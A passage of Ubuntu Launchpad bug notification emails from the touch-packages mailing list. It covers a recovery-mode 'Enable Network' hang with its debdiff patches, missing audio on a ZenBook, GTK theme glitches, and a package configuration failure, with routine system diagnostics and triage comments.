Hewlett-Packard dmi.board.version: 64.2A dmi.chassis.asset.tag: 5CG3103SQ4 dmi.chassis.type: 10 dmi.chassis.vendor: Hewlett-Packard dmi.chassis.version: Chassis Version dmi.modalias: dmi:bvnInsyde:bvrF.46:bd06/16/2014:svnHewlett-Packard:pnHP2000NotebookPC:pvr088A1230591620100:rvnHewlett-Packard:rn1854:rvr64.2A:cvnHewlett-Packard:ct10:cvrChassisVersion: dmi.product.family: 103C_5335KV G=N L=CON B=HP S=PRE X=MIN dmi.product.name: HP 2000 Notebook PC dmi.product.version: 088A1230591620100 dmi.sys.vendor: Hewlett-Packard version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.91-2 version.libgl1-mesa-dri: libgl1-mesa-dri 18.0.5-0ubuntu0~18.04.1 version.libgl1-mesa-glx: libgl1-mesa-glx 18.0.5-0ubuntu0~18.04.1 version.xserver-xorg-core: xserver-xorg-core 2:1.19.6-1ubuntu4 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:18.0.1-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20171229-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.15-2 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/nautilus/+bug/1795721/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1766872] Re: 'Enable Network' in recovery mode not working properly.
** Changed in: friendly-recovery (Ubuntu Bionic) Status: Confirmed => In Progress ** Changed in: friendly-recovery (Ubuntu Xenial) Status: Confirmed => In Progress ** Changed in: friendly-recovery (Ubuntu Dd-series) Status: Confirmed => Invalid -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1766872 Title: 'Enable Network' in recovery mode not working properly. Status in friendly-recovery package in Ubuntu: In Progress Status in systemd package in Ubuntu: Won't Fix Status in friendly-recovery source package in Xenial: In Progress Status in systemd source package in Xenial: Won't Fix Status in friendly-recovery source package in Bionic: In Progress Status in systemd source package in Bionic: Won't Fix Status in friendly-recovery source package in Cosmic: In Progress Status in systemd source package in Cosmic: Won't Fix Status in friendly-recovery source package in DD-Series: Invalid Status in systemd source package in DD-Series: Won't Fix Bug description: This bug has been noticed after the introduction of the fix of (LP: #1682637) in Bionic. I have notice a block in Bionic when choosing 'Enable Network' option in recovery mode on different bionic vanilla system and I can reproduce all the time. I also asked colleagues to give it a try (for a second pair of eye on this) and they have the same result as me. Basically, when choosing 'Enable Network' it get block or lock. If we hit 'ctrl-c', then a shell arrive and the system has network connectivity. Here's what I find while enabling "systemd.debug-shell=1" from vtty9 : # pstree systemd-+-bash---pstree |-recovery-menu---network---systemctl---systemd-tty-ask |-systemd-journal # ps root 486 473 0 08:29 tty1 00:00:00 /bin/systemd-tty-ask-password-agent root 473 486 0 08:29 tty1 00:00:00 systemctl start dbus.socket root 486 283 0 08:29 tty1 00:00:00 /bin/sh /lib/recovery- mode/options/network Additionally, systemd-analyze blame: "Bootup is not yet finished. Please try again later" "systemctl list-jobs" is showing a 100 jobs in 'waiting' state The only 'running' unit is friendly-recovery.service : 52 friendly-recovery.service start running The rest are all "waiting". My understanding is that "waiting" units will be executed only after those which are "running" are completed. Which explain why the "ctlr-c" allow the boot to continue. All the systemd special unit important at boot-up are waiting. 7 sysinit.target start waiting 3 basic.target start waiting . Seems like systemd is not fully initialise in 'Recovery Mode' and doesn't allow any 'systemctl start' operation without password/passphrase request, which I suspect is hidden by the recovery-mode menu. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/friendly-recovery/+bug/1766872/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1784485] Re: [ZenBook S UX391UA, Realtek ALC294, Mic, Internal] No sound at all
Same issue for me. I have Ubuntu 18.04 on Asus UX391UA. No sound either through headphones or speakers. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to alsa-driver in Ubuntu. https://bugs.launchpad.net/bugs/1784485 Title: [ZenBook S UX391UA, Realtek ALC294, Mic, Internal] No sound at all Status in alsa-driver package in Ubuntu: Confirmed Bug description: Internal speaker - not sound at all Cable Headphonse - realy quiet disorted sound Bluetooth headphones - sound works fine On Windows 10 everything works fine. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: alsa-base 1.0.25+dfsg-0ubuntu5 ProcVersionSignature: Ubuntu 4.15.0-29.31-generic 4.15.18 Uname: Linux 4.15.0-29-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: pmichalski 7964 F pulseaudio CurrentDesktop: ubuntu:GNOME Date: Mon Jul 30 22:32:10 2018 InstallationDate: Installed on 2018-07-17 (12 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) PackageArchitecture: all ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=pl_PL.UTF-8 SHELL=/bin/bash SourcePackage: alsa-driver Symptom: audio Symptom_AlsaRecordingTest: ALSA recording test through plughw:PCH failed Symptom_Card: Wbudowany dźwięk - HDA Intel PCH Symptom_DevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: gdm2988 F pulseaudio pmichalski 7964 F pulseaudio Symptom_Jack: Mic, Internal Symptom_Type: No sound at all Title: [ZenBook S UX391UA, Realtek ALC294, Mic, Internal] No sound at all UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 05/18/2018 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: UX391UA.204 dmi.board.asset.tag: ATN12345678901234567 dmi.board.name: UX391UA dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: 1.0 dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: ASUSTeK COMPUTER INC. dmi.chassis.version: 1.0 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrUX391UA.204:bd05/18/2018:svnASUSTeKCOMPUTERINC.:pnZenBookSUX391UA:pvr1.0:rvnASUSTeKCOMPUTERINC.:rnUX391UA:rvr1.0:cvnASUSTeKCOMPUTERINC.:ct10:cvr1.0: dmi.product.family: ZenBook S dmi.product.name: ZenBook S UX391UA dmi.product.version: 1.0 dmi.sys.vendor: ASUSTeK COMPUTER INC. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/1784485/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1766872] Re: 'Enable Network' in recovery mode not working properly.
debdiff for cosmic ** Patch added: "cosmic.debdiff" https://bugs.launchpad.net/ubuntu/xenial/+source/friendly-recovery/+bug/1766872/+attachment/5196252/+files/cosmic.debdiff -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1766872 Title: 'Enable Network' in recovery mode not working properly. Status in friendly-recovery package in Ubuntu: In Progress Status in systemd package in Ubuntu: Won't Fix Status in friendly-recovery source package in Xenial: Confirmed Status in systemd source package in Xenial: Won't Fix Status in friendly-recovery source package in Bionic: Confirmed Status in systemd source package in Bionic: Won't Fix Status in friendly-recovery source package in Cosmic: In Progress Status in systemd source package in Cosmic: Won't Fix Status in friendly-recovery source package in DD-Series: Confirmed Status in systemd source package in DD-Series: Won't Fix Bug description: This bug has been noticed after the introduction of the fix of (LP: #1682637) in Bionic. I have notice a block in Bionic when choosing 'Enable Network' option in recovery mode on different bionic vanilla system and I can reproduce all the time. I also asked colleagues to give it a try (for a second pair of eye on this) and they have the same result as me. Basically, when choosing 'Enable Network' it get block or lock. If we hit 'ctrl-c', then a shell arrive and the system has network connectivity. Here's what I find while enabling "systemd.debug-shell=1" from vtty9 : # pstree systemd-+-bash---pstree |-recovery-menu---network---systemctl---systemd-tty-ask |-systemd-journal # ps root 486 473 0 08:29 tty1 00:00:00 /bin/systemd-tty-ask-password-agent root 473 486 0 08:29 tty1 00:00:00 systemctl start dbus.socket root 486 283 0 08:29 tty1 00:00:00 /bin/sh /lib/recovery- mode/options/network Additionally, systemd-analyze blame: "Bootup is not yet finished. Please try again later" "systemctl list-jobs" is showing a 100 jobs in 'waiting' state The only 'running' unit is friendly-recovery.service : 52 friendly-recovery.service start running The rest are all "waiting". My understanding is that "waiting" units will be executed only after those which are "running" are completed. Which explain why the "ctlr-c" allow the boot to continue. All the systemd special unit important at boot-up are waiting. 7 sysinit.target start waiting 3 basic.target start waiting . Seems like systemd is not fully initialise in 'Recovery Mode' and doesn't allow any 'systemctl start' operation without password/passphrase request, which I suspect is hidden by the recovery-mode menu. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/friendly-recovery/+bug/1766872/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1766872] Re: 'Enable Network' in recovery mode not working properly.
debdiff for bionic ** Patch added: "bionic.debdiff" https://bugs.launchpad.net/ubuntu/xenial/+source/friendly-recovery/+bug/1766872/+attachment/5196251/+files/bionic.debdiff -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1766872 Title: 'Enable Network' in recovery mode not working properly. Status in friendly-recovery package in Ubuntu: In Progress Status in systemd package in Ubuntu: Won't Fix Status in friendly-recovery source package in Xenial: Confirmed Status in systemd source package in Xenial: Won't Fix Status in friendly-recovery source package in Bionic: Confirmed Status in systemd source package in Bionic: Won't Fix Status in friendly-recovery source package in Cosmic: In Progress Status in systemd source package in Cosmic: Won't Fix Status in friendly-recovery source package in DD-Series: Confirmed Status in systemd source package in DD-Series: Won't Fix Bug description: This bug has been noticed after the introduction of the fix of (LP: #1682637) in Bionic. I have notice a block in Bionic when choosing 'Enable Network' option in recovery mode on different bionic vanilla system and I can reproduce all the time. I also asked colleagues to give it a try (for a second pair of eye on this) and they have the same result as me. Basically, when choosing 'Enable Network' it get block or lock. If we hit 'ctrl-c', then a shell arrive and the system has network connectivity. Here's what I find while enabling "systemd.debug-shell=1" from vtty9 : # pstree systemd-+-bash---pstree |-recovery-menu---network---systemctl---systemd-tty-ask |-systemd-journal # ps root 486 473 0 08:29 tty1 00:00:00 /bin/systemd-tty-ask-password-agent root 473 486 0 08:29 tty1 00:00:00 systemctl start dbus.socket root 486 283 0 08:29 tty1 00:00:00 /bin/sh /lib/recovery- mode/options/network Additionally, systemd-analyze blame: "Bootup is not yet finished. Please try again later" "systemctl list-jobs" is showing a 100 jobs in 'waiting' state The only 'running' unit is friendly-recovery.service : 52 friendly-recovery.service start running The rest are all "waiting". My understanding is that "waiting" units will be executed only after those which are "running" are completed. Which explain why the "ctlr-c" allow the boot to continue. All the systemd special unit important at boot-up are waiting. 7 sysinit.target start waiting 3 basic.target start waiting . Seems like systemd is not fully initialise in 'Recovery Mode' and doesn't allow any 'systemctl start' operation without password/passphrase request, which I suspect is hidden by the recovery-mode menu. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/friendly-recovery/+bug/1766872/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1766872] Re: 'Enable Network' in recovery mode not working properly.
debdiff for Xenial ** Patch added: "xenial.debdiff" https://bugs.launchpad.net/ubuntu/xenial/+source/friendly-recovery/+bug/1766872/+attachment/5196250/+files/xenial.debdiff -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1766872 Title: 'Enable Network' in recovery mode not working properly. Status in friendly-recovery package in Ubuntu: In Progress Status in systemd package in Ubuntu: Won't Fix Status in friendly-recovery source package in Xenial: Confirmed Status in systemd source package in Xenial: Won't Fix Status in friendly-recovery source package in Bionic: Confirmed Status in systemd source package in Bionic: Won't Fix Status in friendly-recovery source package in Cosmic: In Progress Status in systemd source package in Cosmic: Won't Fix Status in friendly-recovery source package in DD-Series: Confirmed Status in systemd source package in DD-Series: Won't Fix Bug description: This bug has been noticed after the introduction of the fix of (LP: #1682637) in Bionic. I have notice a block in Bionic when choosing 'Enable Network' option in recovery mode on different bionic vanilla system and I can reproduce all the time. I also asked colleagues to give it a try (for a second pair of eye on this) and they have the same result as me. Basically, when choosing 'Enable Network' it get block or lock. If we hit 'ctrl-c', then a shell arrive and the system has network connectivity. Here's what I find while enabling "systemd.debug-shell=1" from vtty9 : # pstree systemd-+-bash---pstree |-recovery-menu---network---systemctl---systemd-tty-ask |-systemd-journal # ps root 486 473 0 08:29 tty1 00:00:00 /bin/systemd-tty-ask-password-agent root 473 486 0 08:29 tty1 00:00:00 systemctl start dbus.socket root 486 283 0 08:29 tty1 00:00:00 /bin/sh /lib/recovery- mode/options/network Additionally, systemd-analyze blame: "Bootup is not yet finished. Please try again later" "systemctl list-jobs" is showing a 100 jobs in 'waiting' state The only 'running' unit is friendly-recovery.service : 52 friendly-recovery.service start running The rest are all "waiting". My understanding is that "waiting" units will be executed only after those which are "running" are completed. Which explain why the "ctlr-c" allow the boot to continue. All the systemd special unit important at boot-up are waiting. 7 sysinit.target start waiting 3 basic.target start waiting . Seems like systemd is not fully initialise in 'Recovery Mode' and doesn't allow any 'systemctl start' operation without password/passphrase request, which I suspect is hidden by the recovery-mode menu. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/friendly-recovery/+bug/1766872/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1766872] Re: 'Enable Network' in recovery mode not working properly.
Thanks Saroumane, I changed the priority to medium. I'm waiting for another test feedback, and I'll upload the new packages in the upload queue very soon. - Eric ** Changed in: friendly-recovery (Ubuntu Dd-series) Importance: Low => Medium ** Changed in: friendly-recovery (Ubuntu Cosmic) Importance: Low => Medium ** Changed in: friendly-recovery (Ubuntu Bionic) Importance: Low => Medium ** Changed in: friendly-recovery (Ubuntu Xenial) Importance: Low => Medium -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1766872 Title: 'Enable Network' in recovery mode not working properly. Status in friendly-recovery package in Ubuntu: In Progress Status in systemd package in Ubuntu: Won't Fix Status in friendly-recovery source package in Xenial: Confirmed Status in systemd source package in Xenial: Won't Fix Status in friendly-recovery source package in Bionic: Confirmed Status in systemd source package in Bionic: Won't Fix Status in friendly-recovery source package in Cosmic: In Progress Status in systemd source package in Cosmic: Won't Fix Status in friendly-recovery source package in DD-Series: Confirmed Status in systemd source package in DD-Series: Won't Fix Bug description: This bug has been noticed after the introduction of the fix of (LP: #1682637) in Bionic. I have notice a block in Bionic when choosing 'Enable Network' option in recovery mode on different bionic vanilla system and I can reproduce all the time. I also asked colleagues to give it a try (for a second pair of eye on this) and they have the same result as me. Basically, when choosing 'Enable Network' it get block or lock. If we hit 'ctrl-c', then a shell arrive and the system has network connectivity. Here's what I find while enabling "systemd.debug-shell=1" from vtty9 : # pstree systemd-+-bash---pstree |-recovery-menu---network---systemctl---systemd-tty-ask |-systemd-journal # ps root 486 473 0 08:29 tty1 00:00:00 /bin/systemd-tty-ask-password-agent root 473 486 0 08:29 tty1 00:00:00 systemctl start dbus.socket root 486 283 0 08:29 tty1 00:00:00 /bin/sh /lib/recovery- mode/options/network Additionally, systemd-analyze blame: "Bootup is not yet finished. Please try again later" "systemctl list-jobs" is showing a 100 jobs in 'waiting' state The only 'running' unit is friendly-recovery.service : 52 friendly-recovery.service start running The rest are all "waiting". My understanding is that "waiting" units will be executed only after those which are "running" are completed. Which explain why the "ctlr-c" allow the boot to continue. All the systemd special unit important at boot-up are waiting. 7 sysinit.target start waiting 3 basic.target start waiting . Seems like systemd is not fully initialise in 'Recovery Mode' and doesn't allow any 'systemctl start' operation without password/passphrase request, which I suspect is hidden by the recovery-mode menu. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/friendly-recovery/+bug/1766872/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1758841] Re: virt-manager: Light grey menu items on light grey background are barely readable
** Branch linked: lp:~3v1n0/ubuntu-themes/cosmic-fixes -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ubuntu-themes in Ubuntu. https://bugs.launchpad.net/bugs/1758841 Title: virt-manager: Light grey menu items on light grey background are barely readable Status in ubuntu-themes package in Ubuntu: In Progress Status in virt-manager package in Ubuntu: Invalid Bug description: With latest update of ubuntu-theme (16.10+18.04.20180322.3-0ubuntu1) menu items in the toolbar are barely readable (cf screenshot) Background should be dark. virt-manager is the only application I found with this issue so far. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: virt-manager 1:1.5.0-0ubuntu1 ProcVersionSignature: Ubuntu 4.15.0-12.13-generic 4.15.7 Uname: Linux 4.15.0-12-generic x86_64 ApportVersion: 2.20.8-0ubuntu10 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Mon Mar 26 09:50:17 2018 InstallationDate: Installed on 2014-07-15 (1349 days ago) InstallationMedia: Ubuntu 14.10 "Utopic Unicorn" - Alpha amd64 (20140520) PackageArchitecture: all SourcePackage: virt-manager UpgradeStatus: Upgraded to bionic on 2018-03-24 (1 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/ubuntu-themes/+bug/1758841/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1782038] Re: [Patch included] Window buttons are small in a maximized Chromium window
** Branch linked: lp:~3v1n0/ubuntu-themes/cosmic-fixes -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ubuntu-themes in Ubuntu. https://bugs.launchpad.net/bugs/1782038 Title: [Patch included] Window buttons are small in a maximized Chromium window Status in ubuntu-themes package in Ubuntu: In Progress Bug description: Repro: 1. Use the Ambiance or Radiance themes. 2. Launch a Chromium window. 3. Maximize. The window close, minimize, and restore buttons should be normal- sized, but instead appear small. This is because the buttons have a padding of 9px on the top and bottom, causing Chromium to think they're taller than they really are, so it downsizes them to fit the smaller headerbar on the maximized window. The attached patch removes the padding. There are no changes in behavior in apps other than Chromium. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/ubuntu-themes/+bug/1782038/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1743373] Re: Combobox arrow and color are inverted
** Branch linked: lp:~3v1n0/ubuntu-themes/cosmic-fixes -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ubuntu-themes in Ubuntu. https://bugs.launchpad.net/bugs/1743373 Title: Combobox arrow and color are inverted Status in ubuntu-themes package in Ubuntu: In Progress Bug description: Open a combobox with plenty of entries. (Example: gnome-terminal -> Edit -> Profile Preferences -> Compatibility -> Encoding) Notice two bugs: 1. Both at the top and at the bottom, the arrow (triangle) points downwards. Expected: At the top, the arrow should point upwards. 2. Colors of sensitive and insensitive arrows are swapped. The arrow is black if you cannot scroll in that direction, gray if hovering starts to scroll. Expected: It should be black if you can scroll in that direction by hovering, and gray if you cannot. Adwaita doesn't suffer from either of these issues. ProblemType: Bug DistroRelease: Ubuntu 17.10 Package: light-themes 16.10+17.10.20171115-0ubuntu1 ProcVersionSignature: Ubuntu 4.13.0-25.29-generic 4.13.13 Uname: Linux 4.13.0-25-generic x86_64 ApportVersion: 2.20.7-0ubuntu3.7 Architecture: amd64 CurrentDesktop: Unity:Unity7:ubuntu Date: Mon Jan 15 13:44:49 2018 InstallationDate: Installed on 2016-11-09 (431 days ago) InstallationMedia: Ubuntu 16.10 "Yakkety Yak" - Release amd64 (20161012.2) PackageArchitecture: all SourcePackage: ubuntu-themes UpgradeStatus: Upgraded to artful on 2017-09-21 (115 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/ubuntu-themes/+bug/1743373/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1781736] Re: Typo in assets link for focused buttons in Radiance theme
** Branch linked: lp:~3v1n0/ubuntu-themes/cosmic-fixes
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to ubuntu-themes in Ubuntu.
https://bugs.launchpad.net/bugs/1781736
Title:
Typo in assets link for focused buttons in Radiance theme
Status in Ubuntu theme:
In Progress
Status in ubuntu-themes package in Ubuntu:
In Progress
Bug description:
There is a typo in the file /usr/share/themes/Radiance/gtk-3.20/gtk-
widgets.css that causes focused buttons to be drawn incorrectly in the
radiance theme. The following change should be made to the file to fix
the incorrect assets link:
118c118
< url("assets/button-focused.png@2"));
---
> url("assets/button-focu...@2.png"));
ProblemType: Bug
DistroRelease: Ubuntu 18.04
Package: light-themes 16.10+18.04.20180421.1-0ubuntu1 [modified:
usr/share/themes/Radiance/gtk-3.20/gtk-widgets.css]
ProcVersionSignature: Ubuntu 4.15.0-28.30-generic 4.15.18
Uname: Linux 4.15.0-28-generic x86_64
ApportVersion: 2.20.9-0ubuntu7.2
Architecture: amd64
CurrentDesktop: Unity:Unity7:ubuntu
Date: Sat Jul 14 15:41:53 2018
EcryptfsInUse: Yes
InstallationDate: Installed on 2018-06-23 (21 days ago)
InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426)
PackageArchitecture: all
SourcePackage: ubuntu-themes
UpgradeStatus: No upgrade log present (probably fresh install)
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu-themes/+bug/1781736/+subscriptions
--
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1743373] Re: Combobox arrow and color are inverted
** No longer affects: ubuntu-themes ** Changed in: ubuntu-themes (Ubuntu) Status: Confirmed => In Progress ** Changed in: ubuntu-themes (Ubuntu) Assignee: (unassigned) => Marco Trevisan (Treviño) (3v1n0) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ubuntu-themes in Ubuntu. https://bugs.launchpad.net/bugs/1743373 Title: Combobox arrow and color are inverted Status in ubuntu-themes package in Ubuntu: In Progress Bug description: Open a combobox with plenty of entries. (Example: gnome-terminal -> Edit -> Profile Preferences -> Compatibility -> Encoding) Notice two bugs: 1. Both at the top and at the bottom, the arrow (triangle) points downwards. Expected: At the top, the arrow should point upwards. 2. Colors of sensitive and insensitive arrows are swapped. The arrow is black if you cannot scroll in that direction, gray if hovering starts to scroll. Expected: It should be black if you can scroll in that direction by hovering, and gray if you cannot. Adwaita doesn't suffer from either of these issues. ProblemType: Bug DistroRelease: Ubuntu 17.10 Package: light-themes 16.10+17.10.20171115-0ubuntu1 ProcVersionSignature: Ubuntu 4.13.0-25.29-generic 4.13.13 Uname: Linux 4.13.0-25-generic x86_64 ApportVersion: 2.20.7-0ubuntu3.7 Architecture: amd64 CurrentDesktop: Unity:Unity7:ubuntu Date: Mon Jan 15 13:44:49 2018 InstallationDate: Installed on 2016-11-09 (431 days ago) InstallationMedia: Ubuntu 16.10 "Yakkety Yak" - Release amd64 (20161012.2) PackageArchitecture: all SourcePackage: ubuntu-themes UpgradeStatus: Upgraded to artful on 2017-09-21 (115 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/ubuntu-themes/+bug/1743373/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1766872] Re: 'Enable Network' in recovery mode not working properly.
Hello Eric, I just tested your "friendly-recovery" PPA package on Bionic/18.04, and it works perfectly ! Network access is finally restored when I use friendly-recovery menu. (NetworkManager is no longer stopped from being start by dbus dependency.) Well done ! I still don't understand why this bug's importance is "Low". When you are stucked in recovery mode without network and you can't (re)install/upgrade critical packages (like graphics drivers package) ... Good luck ! -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1766872 Title: 'Enable Network' in recovery mode not working properly. Status in friendly-recovery package in Ubuntu: In Progress Status in systemd package in Ubuntu: Won't Fix Status in friendly-recovery source package in Xenial: Confirmed Status in systemd source package in Xenial: Won't Fix Status in friendly-recovery source package in Bionic: Confirmed Status in systemd source package in Bionic: Won't Fix Status in friendly-recovery source package in Cosmic: In Progress Status in systemd source package in Cosmic: Won't Fix Status in friendly-recovery source package in DD-Series: Confirmed Status in systemd source package in DD-Series: Won't Fix Bug description: This bug has been noticed after the introduction of the fix of (LP: #1682637) in Bionic. I have notice a block in Bionic when choosing 'Enable Network' option in recovery mode on different bionic vanilla system and I can reproduce all the time. I also asked colleagues to give it a try (for a second pair of eye on this) and they have the same result as me. Basically, when choosing 'Enable Network' it get block or lock. If we hit 'ctrl-c', then a shell arrive and the system has network connectivity. Here's what I find while enabling "systemd.debug-shell=1" from vtty9 : # pstree systemd-+-bash---pstree |-recovery-menu---network---systemctl---systemd-tty-ask |-systemd-journal # ps root 486 473 0 08:29 tty1 00:00:00 /bin/systemd-tty-ask-password-agent root 473 486 0 08:29 tty1 00:00:00 systemctl start dbus.socket root 486 283 0 08:29 tty1 00:00:00 /bin/sh /lib/recovery- mode/options/network Additionally, systemd-analyze blame: "Bootup is not yet finished. Please try again later" "systemctl list-jobs" is showing a 100 jobs in 'waiting' state The only 'running' unit is friendly-recovery.service : 52 friendly-recovery.service start running The rest are all "waiting". My understanding is that "waiting" units will be executed only after those which are "running" are completed. Which explain why the "ctlr-c" allow the boot to continue. All the systemd special unit important at boot-up are waiting. 7 sysinit.target start waiting 3 basic.target start waiting . Seems like systemd is not fully initialise in 'Recovery Mode' and doesn't allow any 'systemctl start' operation without password/passphrase request, which I suspect is hidden by the recovery-mode menu. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/friendly-recovery/+bug/1766872/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1795650] Re: package qtdeclarative5-test-plugin:amd64 5.9.5-0ubuntu1 failed to install/upgrade: package is in a very bad inconsistent state; you should reinstall it before attem
Thanks for taking the time to report this bug and helping to make Ubuntu better. We appreciate the difficulties you are facing, but this appears to be a "regular" (non-security) bug. I have unmarked it as a security issue since this bug does not show evidence of allowing attackers to cross privilege boundaries nor directly cause loss of data/privacy. Please feel free to report any other bugs you may find. ** Information type changed from Private Security to Public -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to qtdeclarative-opensource- src in Ubuntu. https://bugs.launchpad.net/bugs/1795650 Title: package qtdeclarative5-test-plugin:amd64 5.9.5-0ubuntu1 failed to install/upgrade: package is in a very bad inconsistent state; you should reinstall it before attempting configuration Status in qtdeclarative-opensource-src package in Ubuntu: New Bug description: ubuntu 18.04 lags a lot,my lappy never shuts down completely ; i have to force shut down by long press, nowadays the touchpad right click is not working , some apps i installed are not working as required , i hae to repeatedly switch off the pc and restart , please look into the problem asap ProblemType: Package DistroRelease: Ubuntu 18.04 Package: qtdeclarative5-test-plugin:amd64 5.9.5-0ubuntu1 ProcVersionSignature: Ubuntu 4.15.0-33.36-generic 4.15.18 Uname: Linux 4.15.0-33-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 Date: Tue Oct 2 18:34:14 2018 DuplicateSignature: package:qtdeclarative5-test-plugin:amd64:5.9.5-0ubuntu1 Setting up fonts-lyx (2.2.3-5) ... dpkg: error processing package qtdeclarative5-test-plugin:amd64 (--configure): package is in a very bad inconsistent state; you should ErrorMessage: package is in a very bad inconsistent state; you should reinstall it before attempting configuration InstallationDate: Installed on 2018-01-22 (252 days ago) InstallationMedia: Ubuntu 16.04.2 LTS "Xenial Xerus" - Release amd64 (20170215.2) Python3Details: /usr/bin/python3.6, Python 3.6.6, python3-minimal, 3.6.5-3ubuntu1 PythonDetails: /usr/bin/python2.7, Python 2.7.15rc1, python-minimal, 2.7.15~rc1-1 RelatedPackageVersions: dpkg 1.19.0.5ubuntu2 apt 1.6.3ubuntu0.1 SourcePackage: qtdeclarative-opensource-src Title: package qtdeclarative5-test-plugin:amd64 5.9.5-0ubuntu1 failed to install/upgrade: package is in a very bad inconsistent state; you should reinstall it before attempting configuration UpgradeStatus: Upgraded to bionic on 2018-09-02 (29 days ago) To manage notifications about this bug go to: 